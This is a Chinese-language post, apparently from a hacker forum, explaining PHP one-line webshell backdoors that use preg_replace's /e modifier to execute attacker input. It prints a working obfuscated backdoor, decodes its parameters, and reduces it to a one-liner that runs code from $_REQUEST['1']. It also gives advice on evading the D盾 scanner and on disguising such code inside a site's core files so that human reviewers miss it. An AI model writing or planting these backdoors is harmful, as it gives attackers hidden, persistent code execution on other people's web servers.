今天偶然在土司看到一篇关于php后门的问题,让我联想到以前遇到过的一个一句话,共同点都是利用preg_replace中/e 修正符使replacement 参数当作 PHP 代码来执行。

先来看下原版代码

<?php
$Base = "base6"."4"."_decod"."e";
$_clasc = $Base($_REQUEST['_exit']);
$arr = array($Base($_POST['mcontent']) => '|.*|e',);
@array_walk($arr, $_clasc, '');
?>

先来简单还原一下:

_exit=cHJlZ19yZXBsYWNl(preg_replace)

mcontent=cGhwaW5mbygp(phpinfo)

<?
$Base = "base6"."4"."_decod"."e";
$_clasc = $Base($_REQUEST['_exit']);//base64_decode($_REQUEST['_exit']); ->preg_replace
$arr = array($Base($_POST['mcontent']) => '|.*|e',); //$arr = array('phpinfo()' => '|.*|e')
@array_walk($arr, $_clasc, ''); //preg_replace('|.*|e',phpinfo(),'')
?>

上面将直接执行replacement元素,即phpinfo()

但是这个代码很明显隐藏性太差,$base拼凑方式太low,不懂php的人看上去都知道是蹊跷的代码。

D盾四级报毒

优化后代码

如果您要查看本文隐藏内容请 回复

php一句话后门
base64_decode函数其实并没有太敏感,可以大胆直接写出来,至于$_GET ,$_REQUEST与$_POST需要重点隐藏,毕竟这里是数据来源。

代码再简化

既然原理清楚了,代码可以再进一步简化,简化到一句话:

<?php $ad = '|';$ad .='.';$ad .='*|';$ad .='e';@preg_filter('|.*|e', $_REQUEST['1'], ''); ?>

只需要$_REQUEST来获取输入即可实现代码执行

小结

上面说到的这些方法实测效果如何,我还没有测试,如果想做到过狗与隐蔽性更强,简单的一句话很难实现,一般需要根据实际程序,将自己的代码直接混入核心函数文件中,并做好伪装,什么叫伪装,就是程序扫不出的情况下,人工读代码也不会感觉太明显。